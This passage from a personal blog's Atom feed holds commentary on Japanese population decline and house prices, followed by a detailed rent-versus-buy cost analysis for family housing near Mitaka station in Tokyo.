  &lt;p&gt;We find that there exists a positive correlation between population growth and house prices—a 1 percent increase in population growth is associated with a 5 percentage points increase in house prices. Furthermore, we find that this positive correlation embeds a nonlinear relationship between population growth and house price changes. Consistent with the durable housing model (Glaeser and Gyourko (2005)), &lt;strong&gt;the magnitude of house price decreases associated with population decline is larger than the magnitude of house price increases associated with population increase of the same magnitude in absolute terms.&lt;/strong&gt; This non-linear relationship is time-varying. Using the same data looking at just the last ten years, the positive correlation between an increase in population and an increase in house prices has weakened, although the positive correlation between negative population growth and the decline in house prices remains.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Emphasis mine.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This can be largely explained by the fact that when the demand is going up, then developers can build new buildings, so the supply can increase too.
However when demand is falling, supply will not fall so quickly.
This is likely more true for countries with older houses, as in Tokyo very few people would want to live in a 20+ year old house that hasn’t been renovated recently, but based on this study it is also true for Japan in general.&lt;/p&gt;

&lt;h2 id=&quot;self-fulfilling-prophesies&quot;&gt;Self-fulfilling prophesies&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;The linkage between population loss and a housing price decline could lead to a vicious cycle—residents expecting a housing price decline may sell their houses and have less incentives to own houses, which will add to already-existing oversupply for houses and create further downward pressures on housing prices.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the same thinking as looking at a hot market and expecting it to keep going up.
Considering the &lt;a href=&quot;https://www.irea.estate/tokyo-ranks-no1-for-global-real-estate-investment.html&quot;&gt;significant portion of foreign investment into the Tokyo real estate&lt;/a&gt;, these investors might move fast on signs of prices dropping speeding up the process.&lt;/p&gt;

&lt;h2 id=&quot;moving-to-the-city-abroad&quot;&gt;Moving &lt;del&gt;to the city&lt;/del&gt; abroad&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;House price declines directly affect local governments by reductions in tax revenue from housing transactions. It would produce the second-round effect, quality and quantity of social spending in the area. This might accelerate population outflows, which further exacerbates the housing market and prices.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The article discusses this issue in relation to young people moving to large cities, however if the same situation would to come for Tokyo in 20-30 years, then highly skilled people will consider moving abroad, the same way many of their parents and grandparents moved from their villages to the cities.
The same way this accelerated the real estate decline on the countryside, this can result in a similar effect for Tokyo.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Thoughts on renting vs buying in Tokyo</title>
   <link href="https://szabo.jp/2023/01/14/thoughts-on-renting-vs-buying-in-tokyo/"/>
   <updated>2023-01-14T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/01/14/thoughts-on-renting-vs-buying-in-tokyo</id>
   <content type="html">&lt;p&gt;Recently I’ve been thinking a lot about buying either a house or an apartment (mansion), or whether renting makes more sense for now. 
The primary aim of this post is to collect my thoughts, and record the decision so that I can revisit it in the future.
It might also help others considering the same question, but that’s not the main intention (e.g. I will focus exclusively on my use-case and not cover other locations or sizes).&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;situation&quot;&gt;Situation&lt;/h1&gt;

&lt;p&gt;Real estate comes in all shapes and sizes, and Tokyo is huge, so it is important to note the constraints of my situation.
My family has the current need of a 3LDK (one bedroom, two workrooms), and the long-term need of at least a 4LDK, maybe 5LDK (1-2 kids planned).&lt;/p&gt;

&lt;p&gt;Location-wise currently we live near Mitaka station, and really like it, so we are looking for places around here.
Mitaka station is a limited express stop on the Chuo line, and the stating point of the Chuo Sobu/Tozei line.
The Chuo express takes 18 minutes to Shinjuku and 32 minutes to Tokyo station.&lt;/p&gt;

&lt;h1 id=&quot;available-options&quot;&gt;Available options&lt;/h1&gt;

&lt;p&gt;I have been looking at &lt;a href=&quot;http://suumo.jp/&quot;&gt;Suumo&lt;/a&gt; and &lt;a href=&quot;https://www.homes.co.jp/&quot;&gt;Homes&lt;/a&gt; for places, and these seem to be the possible options in the size we need (3-5LDK) up to 20 minutes from Mitaka station.&lt;/p&gt;

&lt;h2 id=&quot;renting&quot;&gt;Renting&lt;/h2&gt;

&lt;p&gt;It seems that we can find suitable mansions (3LDK, less than 10 years old, less than 15 minutes to station) for around 250,000-270,000 yen/month including management fee.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-normal-apartment&quot;&gt;Buying a normal apartment&lt;/h2&gt;

&lt;p&gt;A 5 year old or younger mansion 15-20 minutes walk from the station. 60-70 sqm, 3-4LDK, 70-80m yen. 
Management fee: 10,000 yen/month, repair fund: 20,000 yen/month (might be lower initially, but tend to go up with time).&lt;/p&gt;

&lt;h2 id=&quot;buying-a-normal-house&quot;&gt;Buying a normal house&lt;/h2&gt;

&lt;p&gt;A brand new house 20-25 minute from the station in a residential area. 
80-90 sqm house with 2 floors on a 100-110 sqm land. 70-90m yen.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-fancy-apartment&quot;&gt;Buying a fancy apartment&lt;/h2&gt;

&lt;p&gt;Brand new mansion less than 5 minutes from the station.
3LDK, 70 sqm, 120m yen.
Management fee: 30,000 yen/month, repair fund: 20,000 yen/month (might be lower initially, but tend to go up with time).&lt;/p&gt;

&lt;h2 id=&quot;buying-a-fancy-house&quot;&gt;Buying a fancy house&lt;/h2&gt;

&lt;p&gt;A brand new house 10-15 minutes from the station.
90-95 sqm house with 2 floors on a 110-120 sqm land.
130-140m yen.&lt;/p&gt;

&lt;h2 id=&quot;buying-land-and-building-our-own-house&quot;&gt;Buying land and building our own house&lt;/h2&gt;

&lt;p&gt;A suitable land (100-130 sqm) goes for 70-80m yen 10-20 minutes from the station.
This usually allows a 40-50% &lt;a href=&quot;https://housekey.jp/japanese-real-estate-coverage-ratios-explained/#:~:text=What%20is%20the%20Floor%20Area%20Ratio%20(FAR)%3F&quot;&gt;building coverage ratio with a floor-area ratio&lt;/a&gt; of 80-100% allowing for a 2 story house with up to a 100 sqm overall floor space.&lt;/p&gt;

&lt;p&gt;Building a decent house seems to be between 20-50m yen (although this is where I have the least reliable data, basing this on other people’s posts online).&lt;/p&gt;

&lt;p&gt;Overall this means that building the house ourselves would come down to about the same price as buying a new house that’s already built.
Thus this options is close to identical of buying a house, so I will not consider this separately.&lt;/p&gt;

&lt;h1 id=&quot;costs-of-renting-vs-buying&quot;&gt;Costs of renting vs buying&lt;/h1&gt;

&lt;h2 id=&quot;renting-1&quot;&gt;Renting&lt;/h2&gt;

&lt;p&gt;This is relatively simple:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Monthly rent&lt;/li&gt;
  &lt;li&gt;Monthly management fee&lt;/li&gt;
  &lt;li&gt;Renewal fee, usually 1 month extra rent every 2 years&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When moving, there are additional costs, usually coming down to 1 month rent key money (non-refundable), 1-2 month rent deposit (mostly refundable), 1 month rent as real estate agency fee, additional random fees (cleaning, key replacement, etc.).
If one schedules the moving before the renewal, then the extra fees end up being around 2 months’ rent.&lt;/p&gt;

&lt;p&gt;However most rental contracts can be renewed indefinitely, and I don’t feel it is fair to assume moving regularly, when the alternative is buying, which makes moving very costly.
Thus I will only use the renewal fee in the calculation, and assume that one rents the same place for the entire duration of the simulation.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-property&quot;&gt;Buying a property&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://resources.realestate.co.jp/buy/cost-of-buying-real-estate-in-japan-breakdown-of-purchase-fees-and-taxes/&quot;&gt;Online&lt;/a&gt; &lt;a href=&quot;https://japanpropertycentral.com/real-estate-faq/purchase-costs-when-buying-real-estate-in-japan/&quot;&gt;sources&lt;/a&gt; suggest that the extra costs of buying a property (tax, real estate agency fees, bank fees) add up to 6-7% of the property’s price.&lt;/p&gt;

&lt;h2 id=&quot;selling-a-property&quot;&gt;Selling a property&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.kencorp.com/owners/contract-selling/fees.html&quot;&gt;Online&lt;/a&gt; &lt;a href=&quot;https://resources.realestate.co.jp/buy/what-are-the-taxes-and-fees-when-selling-property-in-japan/&quot;&gt;sources&lt;/a&gt; suggest 4% of the sale price.&lt;/p&gt;

&lt;p&gt;There is an additional capital gain tax on the gains, which is 41.1% if selling within 5 years and 20% if selling after.
In further calculations I assume that the property value doesn’t go up, so I won’t be considering this.&lt;/p&gt;

&lt;p&gt;Moreover the same 20% capital gain tax is levied on normal investments, thus when comparing with the alternative investment it would be the same.&lt;/p&gt;

&lt;h2 id=&quot;owning-an-apartment&quot;&gt;Owning an apartment&lt;/h2&gt;

&lt;p&gt;Costs of owning an apartment:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Monthly mortgage&lt;/li&gt;
  &lt;li&gt;Management fee - usually 10,000 yen/month (but have seen 30,000 yen too for an expensive place, and 20,000 yens for older places)&lt;/li&gt;
  &lt;li&gt;Repair fund - this is to pay for maintenance of the building and shared spaces. Tend to start low (5,000-10,000 yen) and go up to 20,000 yen after 20 year&lt;/li&gt;
  &lt;li&gt;Renovating the inside of the apartment - I’m putting this at 40,000 yen/month, which equals to 4.8m yen for 10 year that should be enough to completely renovate the place (new ACs, new wallpaper, new kitchen, new bathroom) - though I can be completely off with this one&lt;/li&gt;
  &lt;li&gt;Property tax - &lt;a href=&quot;https://www.city.mitaka.lg.jp/c_service/000/000389.html&quot;&gt;Mitaka City has a property tax rate of 1.4% and a city planning tax rate of 0.225%&lt;/a&gt;, so 1.6% of the &lt;a href=&quot;https://tokyocheapo.com/business/financial/a-guide-to-real-estate-taxes-in-japan/#:~:text=Furthermore%2C%20the%20Assessed,a%20specialist%20firm.&quot;&gt;book value of the property&lt;/a&gt;. There are some deductions, and this is based on the property value determined by the city. Based on discussions with a real estate agent this comes down to 150-250,000 yen/year for the first 10 years then higher (first 10 year for new mansions is half price). Afterwards as the value is depreciating, it will keep falling. I will simply use 200,000 yen/year for the entire duration for the normal mansion and 300,000 yen/year for the fancy one.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;owning-a-house&quot;&gt;Owning a house&lt;/h2&gt;

&lt;p&gt;Costs of owning an house:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Monthly mortgage&lt;/li&gt;
  &lt;li&gt;Renovating the house - I’d put this at 60,000 yen/month, which equals to 7.2m yen for 10 year that should be enough to completely renovate the place. This is 720,000 yen/year, so assuming a building price of 40m yen, this is would mean 1.8% of the value of the building. Considering the &lt;a href=&quot;https://www.thebalancemoney.com/home-maintenance-budget-453820#toc-how-to-use-the-home-maintenance-budgeting-rule-of-thumb&quot;&gt;1% rule&lt;/a&gt;, this might be an overestimate, but taking into account the lower building lifespan of Japanese houses compared to western ones, I think it is a reasonable estimate.&lt;/li&gt;
  &lt;li&gt;Property tax - same as with the apartment, but this is split into the land (keeps the value) and the house (depreciates quickly). Based on discussions with a real estate agent this is 16-170,000 yen/year initially then it goes up to 200,000 yen/year after 3-5 years (again initially it’s half price then doubles, but as the building has depreciated, it is less than double). I’ll use 200,000 yen/year for my calculations for the normal house, and 300,000 yen/year for the fancy one.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;mortgage-interest&quot;&gt;Mortgage interest&lt;/h2&gt;

&lt;p&gt;Based &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/u8ltkn/comment/i5m6es6/?utm_source=reddit&amp;amp;utm_medium=web2x&amp;amp;context=3&quot;&gt;on reddit&lt;/a&gt; the most common mortgage for your own home is a 35-year variable rate mortgage, which might come at an interest rate around 0.475%.
Meanwhile fixed rate mortgages seem to go around 1% (although they have been going up recently due to interest rate changes from the Bank of Japan).&lt;/p&gt;

&lt;p&gt;These rates are super low. 
Borrowing 100m yen on 0.475% for 35 years will make you pay back 108m, while on 1% it will come down to 118m.
(As a comparison, at 5% this would be 211m.)
These low rates make longer loans affordable and relatively cheap - thus the very long 35 year term (compared to other countries).&lt;/p&gt;

&lt;p&gt;This also makes down-payments financially a bad idea: even if one could pay 10m of the 100m loan as down payment, it would make more sense to take the entire amount as a loan (assuming they could get the same interest rate).
With a 1% interest rate on the loan, the 10m extra will cost them 11.8m in 35 years with a monthly mortgage of 28,229 yen.
Meanwhile investing the 10m on the stock market (which historically brought &lt;a href=&quot;https://www.forbes.com/advisor/investing/roi-return-on-investment/#:~:text=According%20to%20conventional%20wisdom%2C%20an%20annual%20ROI%20of%20approximately%207%25%20or%20greater%20is%20considered%20a%20good%20ROI%20for%20an%20investment%20in%20stocks.%20This%20is%20also%20about%20the%20average%20annual%20return%20of%20the%20S%26P%20500%2C%20accounting%20for%20inflation.&quot;&gt;10% nominal, 7% real return&lt;/a&gt;) and paying the monthly 28,229 yen from this investment would make it grow into 53m in 35 years.
Even if we go with a more moderate 5% real rate of return, we would get 22m for essentially free after 35 years.&lt;/p&gt;

&lt;p&gt;Again based &lt;a href=&quot;https://www.reddit.com/r/JapanFinance/comments/yp57u8/any_tips_on_getting_100_mortgage_financing/&quot;&gt;on reddit&lt;/a&gt; one can get a mortgage for more than the value of the home to cover the other initial costs (taxes, real estate agency fees, etc.).
If one can get it at the same super-low rate, then doing this is also beneficial over paying it by cash.&lt;/p&gt;

&lt;h3 id=&quot;35-years&quot;&gt;35 years&lt;/h3&gt;

&lt;p&gt;35 years is scary long.
It’s longer than how long I have lived sofar.&lt;/p&gt;

&lt;p&gt;If I would take a 35 year loan this year, then I would pay it off in 2058. 
I would be 65 by then, so might be getting ready to retire.
If we had a kid 2 years from now, that kid would be 33 year old by then, older than how old I am now. 
Meaning I could become a grandparent before I pay off this loan.&lt;/p&gt;

&lt;p&gt;Scary.&lt;/p&gt;

&lt;h1 id=&quot;calculations&quot;&gt;Calculations&lt;/h1&gt;

&lt;h2 id=&quot;constraints&quot;&gt;Constraints&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Zero down-payment. Mortgage for the full price and initial costs - the reasoning for this is explained above&lt;/li&gt;
  &lt;li&gt;Fixed interest rate at 1%&lt;/li&gt;
  &lt;li&gt;Inflation is assumed to be 1% - this is required to increase rent, management fee, repair costs, while mortgage stays the same&lt;/li&gt;
  &lt;li&gt;For the scenarios where I sell, I assume no change in the market (as I can’t predict the future), meaning:
    &lt;ul&gt;
      &lt;li&gt;The price of land increases with inflation (1% yearly)&lt;/li&gt;
      &lt;li&gt;The house depreciates linearly for 25 years, then it’s worth 0, while the land maintains its value&lt;/li&gt;
      &lt;li&gt;The mansion depreciates linearly for 50 years, then it’s worth 0. To simplify the calculation, the land that belongs to the mansion unit is not taken into account for future value.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;outcome&quot;&gt;Outcome&lt;/h2&gt;

&lt;p&gt;For every year I calculate the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remaining principal of the loan (if I sell that year, this is how much I need to pay the bank to close the mortgage)&lt;/li&gt;
  &lt;li&gt;Remaining value of the property (based on the assumption above)&lt;/li&gt;
  &lt;li&gt;Money received if selling (this is the remaining value minus the 4% fee of selling)&lt;/li&gt;
  &lt;li&gt;Balance if selling and paying off the remaining principal with the money received from selling&lt;/li&gt;
  &lt;li&gt;The opportunity cost compared to renting: if I pay less when renting, then I can invest this extra money and get a 5-7% real return. Meaning after selling the property I don’t only need to break even, I need to beat this as well to make it more beneficial than renting. I’ll be using 5% real return for this calculation, so 6% nominal return with the 1% inflation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;renting-2&quot;&gt;Renting&lt;/h2&gt;

&lt;p&gt;Monthly rent of 250,000 yen, 10,000 yen management fee and 1 month renewal fee every other year, resulting in a 270,417 yen cost per month, increased with inflation every year.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-simple-mansion&quot;&gt;Buying a simple mansion&lt;/h2&gt;

&lt;p&gt;Price: 75,000,000 yen, which is 80,250,000 yen after the 7% initial costs resulting in a monthly mortgage of 226,534 yen.
This is paid off after 35 years.&lt;/p&gt;

&lt;p&gt;Additional costs are: management fee of 10,000 yen, building repair fund of 20,000 yen, inside repair saving of 40,000 yen and property tax of 16,667 yen, bringing the monthly non-mortgage fees to 86,667 yen.
This is increased with inflation each year.&lt;/p&gt;

&lt;p&gt;The overall initial monthly cost is 313,201 yen, which is 42,784 yen more than renting.&lt;/p&gt;

&lt;p&gt;It takes 14 years for the resale value (minus fees) to overtake the remaining principal, meaning if I would to sell before that, then I would have to pay extra to the bank just to close the mortgage.
However by this time time in the renting scenario I have invested the extra 42,784 yen (+ inflation) each month, and it has grown to 7,623,400 yen.&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is paid off, and I can sell the mansion for 20,160,000 yen (after paying the selling fees).
However by this time the invested 42,784 yen/month (+inflation) would have grown into 21,942,217 yen, making renting a slightly better decision even on the 35 year time-frame.&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is fully paid off, so I can live for free (barring management fees and maintenance), so after an other 5 years the overall value of buying overtakes rent.
(Even though at 35 year the difference is only 5% it takes 5 year to close that gap due to the value of the mansion continuing to decrease while the investment keeps growing 6% yearly.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion: with the above assumptions you have to live in the mansion for at least 40 years to make it financially beneficial compared to renting&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;tuning-the-parameters&quot;&gt;Tuning the parameters&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;What if rent is 10,000 yen more, so 260,000 yen instead of 250,000 yen?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then buying a mansion makes sense after only 22 years, so almost half the time. 
This is mostly due to rent growing faster with inflation, and it will overtake the mortgage and fees after 16 years, from which point on the monthly cost of renting will be higher than the mortgage and fees offsetting the earlier savings in only 6 years.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the mansion still has half of its nominal value after 50 years instead of going down to zero?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Buying a mansion becomes financially beneficial after 10 years, and at 35 years the mansion’s resale value (minus fees) is at 46,080,000 yen, while the alternative investment only grew to 21,942,217 yen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if interest rate is only 0.3%? (This seems to be around the lowest variable rate currently. I’ll assume it stays the same for the entire time.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The monthly mortgage is down to 201,302 yen from 226,534, making it more beneficial to buy after 13 years.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if inflation is only 0.5%?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes 60 years for buying to make more sense than renting.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the price of mansion increases by 1% yearly (equal to the rate of inflation)? (Depreciation is still taken into account.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes only 14 years for buying to overtake renting.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the price of mansion increases by 2% yearly (1% over inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes only 7 years for buying to be better.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the price of mansion decreases by 1% yearly?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes 43 years for buying to overtake renting.
At this point the value of the mansion is close to zero, so this is mostly due to living rent free for the previous 8 years, while rent keeps going up with inflation.&lt;/p&gt;

&lt;h2 id=&quot;buying-a-simple-house&quot;&gt;Buying a simple house&lt;/h2&gt;

&lt;p&gt;Price: 90,000,000 yen, which splits into 70,200,000 yen for the land, and 19,800,000 yen for the building.
This becomes 96,300,000 yen after the 7% initial costs resulting in a monthly mortgage of 271,841 yen. 
This is paid off after 35 years.&lt;/p&gt;

&lt;p&gt;Additional costs are: repair saving of 60,000 yen and property tax of 16,667 yen, bringing the monthly non-mortgage fees to 76,667 yen.
This is increased with inflation each year.&lt;/p&gt;

&lt;p&gt;The overall initial monthly cost is 348,508 yen, which is 78,091 yen more than renting.&lt;/p&gt;

&lt;p&gt;It takes only 5 years for the resale value (minus fees) to overtake the remaining principal, meaning if I would to sell before that, then I would have to pay extra to the bank just to close the mortgage.
However by this time time in the renting scenario I have invested the extra 78,091 yen each month, and it has grown to 4,899,647 yen.
This 5 year is much shorter than the mansion’s 14 year, mostly as the land is assumed to appreciate with inflation, while the mortgage stays fixed, making the overall depreciation less than the mansion’s.&lt;/p&gt;

&lt;p&gt;After 8 years buying is more beneficial than renting, again mostly due to the land’s value increasing with inflation.&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is paid off, and the land still has a resale value of 96,422,370 yen (yearly 1% increase, minus 4% selling fee), while in case of renting and investing the monthly 78,091 yen difference (plus inflation), that investment would have only grown to 69,881,681 yen. 
So about 28% less.
Comparable, but less.&lt;/p&gt;

&lt;p&gt;Interestingly even after 50 years (so 15 years after the mortgage is paid off), the difference remains very similar: the resale value of the land is 111,943,378 yen, while the alternative investment has grown to 84,448,793 yen (25% less).
Again even though the mortgage is paid off, the alternative investment grows faster than the value of the &lt;del&gt;house&lt;/del&gt; land slowly closing the gap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion: with the above assumptions you have to live in the house for at least 8 years to make it financially beneficial compared to renting, however even after living in the house for 50 years, you are only 33% better off than renting&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;tuning-the-parameters-1&quot;&gt;Tuning the parameters&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;What if rent is 10,000 yen more, so 260,000 yen instead of 250,000 yen?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After 7 years buying is more beneficial, and after 35 years the resale value of the land is 96,422,370 yen while the alternative investment only grew to 52,922,561 yen (46% less).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if interest rate is only 0.3%?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Mortgage is down to 241,562 yen from 271,841 yen making buying beneficial from the 5th year.
After 35 years this makes the alternative investment worth 26,963,178 yen while the house’s resale value is 96,422,370 yen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if inflation is only 0.5%?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes 12 years for buying to make more sense than renting (up from 8 years at 1% inflation).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the price of the land increases by 2% yearly (1% over inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Then it takes only 5 years for buying to be better, and by 35 years the resale value of the land is at 137,472,088 yen, while the alternative investment only grew to 69,881,681 yen (49% less).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the nominal price of land stays the same (so it doesn’t increase with inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After 7 years the resale value passes the remaining principal (minus selling fees), but it never overtakes the alternative investment.
At 35 year the resale value is 67,392,000 yen (the purchase price of 70,200,000 yen minus fees), while the alternative investment has grown to 69,881,681 yen.
Very close.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the nominal price of the land decreases by 1% yearly (-2% over inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After 10 years the resale value passes the remaining principal (minus selling fees).
At 35 years the resale value is 46,932,680 yen, while the alternative investment has grown to 69,881,681 yen.
By this time the land lost 30% of it’s nominal value (down to 47m from 70m), while in real terms (accounted for the 1% inflation) it has lost half of its value (70m increased by 1% for 35 years is 100m).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A pessimistic outlook: inflation is at 0.5%, and the nominal price of the land decreases by 1% yearly?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After 10 years the resale value passes the remaining principal (minus selling fees).
At 35 years the resale value is 46,932,680 yen, while the alternative investment has grown to 79,790,081 yen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A super pessimistic outlook: inflation is at 0.5%, and the nominal price of the land decreases by 2% yearly?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If selling after 5 years, we would still owe the bank 8m.
If selling after 10 years, we would still need to pay the bank an extra 5m out of pocket.
After 18 years the resale value passes the remaining principal minus selling fees.
At 35 years the resale value is 32,564,699 yen, while the alternative investment has grown to 79,790,081 yen.
By this time the land lost half of it’s nominal value (down to 34m from 70m), while in real terms it has lost 60% of its value (70m increased by 0.5% for 35 years is 83m).&lt;/p&gt;

&lt;h2 id=&quot;buying-a-fancy-mansion&quot;&gt;Buying a fancy mansion&lt;/h2&gt;

&lt;p&gt;Price: 120,000,000 yen, which is 128,400,000 yen after the 7% initial costs resulting in a monthly mortgage of 362,455 yen.
This is paid off after 35 years.&lt;/p&gt;

&lt;p&gt;Additional costs are: management fee of 30,000 yen, building repair fund of 20,000 yen, inside repair saving of 40,000 yen and property tax of 25,000 yen, bringing the monthly non-mortgage fees to 115,000 yen.
This is increased with inflation each year.&lt;/p&gt;

&lt;p&gt;The overall initial monthly cost is 477,455 yen, which is 164,254 yen more than renting.&lt;/p&gt;

&lt;p&gt;As this mansion is close to the station, I assume that even after 50 years it will still keep half of it’s nominal price.
Until then, depreciation is linear.&lt;/p&gt;

&lt;p&gt;It takes 7 years for the resale value (minus fees) to overtake the remaining principal, meaning if I would to sell before that, then I would have to pay extra to the bank just to close the mortgage.
However by this time time in the renting scenario I have invested the extra 164,254 yen (+ inflation) each month, and it has grown to 20,252,937 yen.&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is paid off, and I can sell the mansion for 73,728,000 yen (after paying the selling fees).
However by this time the alternative investment would have grown into 260,731,682 yen, making renting a much worse financial decision.
(On the other hand I spent that 35 years in a fancy mansion right at the station saving me ~2*10 minutes each day, amounting to almost half year of time saved.)&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is fully paid off, so I can live for free (barring management fees and maintenance), but the mansion’s value never takes over the alternative investment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion: a fancy mansion is not a good investment on purely financial grounds due to the high monthly costs and loosing out on what that money could have earned if invested on the stock market (assuming the depreciation model is correct).&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;buying-a-fancy-house-1&quot;&gt;Buying a fancy house&lt;/h2&gt;

&lt;p&gt;Price: 135,000,000 yen, which splits into 108,000,000 yen for the land, and 27,000,000 yen for the building.
This becomes 144,450,000 yen after the 7% initial costs resulting in a monthly mortgage of 407,762 yen. 
This is paid off after 35 years.&lt;/p&gt;

&lt;p&gt;Additional costs are: repair saving of 60,000 yen and property tax of 25,000 yen, bringing the monthly non-mortgage fees to 85,000 yen.
This is increased with inflation each year.&lt;/p&gt;

&lt;p&gt;The overall initial monthly cost is 492,762 yen, which is 144,254 yen more than renting.&lt;/p&gt;

&lt;p&gt;It takes only 5 years for the resale value (minus fees) to overtake the remaining principal.
However by this time time in the renting scenario I have invested the extra cash each month, and it has grown to 14,674,185 yen.&lt;/p&gt;

&lt;p&gt;After 35 years the mortgage is paid off, and the land still has a resale value of 148,342,107 yen (yearly 1% increase, minus 4% selling fee), while in case of renting and investing the monthly difference, that investment would have grown to 276,109,635 yen.&lt;/p&gt;

&lt;p&gt;Again the value of living in a fancy house is not so much the financial benefit, rather the better quality of life. (Though &lt;a href=&quot;https://www.theatlantic.com/business/archive/2014/10/buy-experiences/381132/&quot;&gt;research has shown&lt;/a&gt; that experiences bring more happiness than material things, as we tend to get used to better stuff quickly, so the fancy house might not bring us so much happiness than getting a cheaper home and going skiing/surfing every other weekend.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion: a fancy house is also not a good financial investment if the appreciation assumptions are correct&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;tuning-the-parameters-2&quot;&gt;Tuning the parameters&lt;/h3&gt;

&lt;p&gt;I did not consider the fancy options seriously, so I did not play with the parameters so much.
So only checking one scenario: the fancy house has a great location, so the land might appreciate faster than inflation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the real price of the land increases by 2% yearly (1% over inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Buying becomes financially better only after 10 years, however after 20 years renting comes ahead again (the invested amount grows to the point where the 6% rate of return overtakes the 1%).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;What if the price of the land increases by 3% yearly (2% over inflation)?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Buying becomes financially better only after 5 years, however after 40 years renting still overtakes buying.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;a small change to rent (e.g. 10,000 yen) makes a big change in the calculation.
This also means that if one invests just slightly less than planned, then renting might come out worse.
(This is actually a common argument for buying: you will not miss a mortgage payment, but you might lower your monthly investment to buy that fancy car or go on that exotic vacation.
However this only really makes sense if a significant portion of your investment is coming from the savings of renting, as otherwise &lt;a href=&quot;https://www.investopedia.com/terms/l/lifestyle-creep.asp&quot;&gt;lifestyle creep&lt;/a&gt; will eat into your investing even if you buy.)&lt;/li&gt;
  &lt;li&gt;a significant benefit of buying comes from inflation: rent increases, but mortgage stays the same&lt;/li&gt;
  &lt;li&gt;buying expensive real estate only makes sense if their value goes up significantly, or for the luxury.
Otherwise their monthly increased costs would be better spent invested elsewhere.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Small changes to the model (e.g. 10.000 yen difference in rent, 1% vs 0.5% inflation, +/-1% change in the value of land) makes either renting or buying more beneficial, so at the end of the day, I don’t have a clear winner.&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Vitus Zenium Road Bike (Tiagra) 2020 Specifications</title>
   <link href="https://szabo.jp/2023/01/02/vitus-zenium-2020-specs/"/>
   <updated>2023-01-02T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/01/02/vitus-zenium-2020-specs</id>
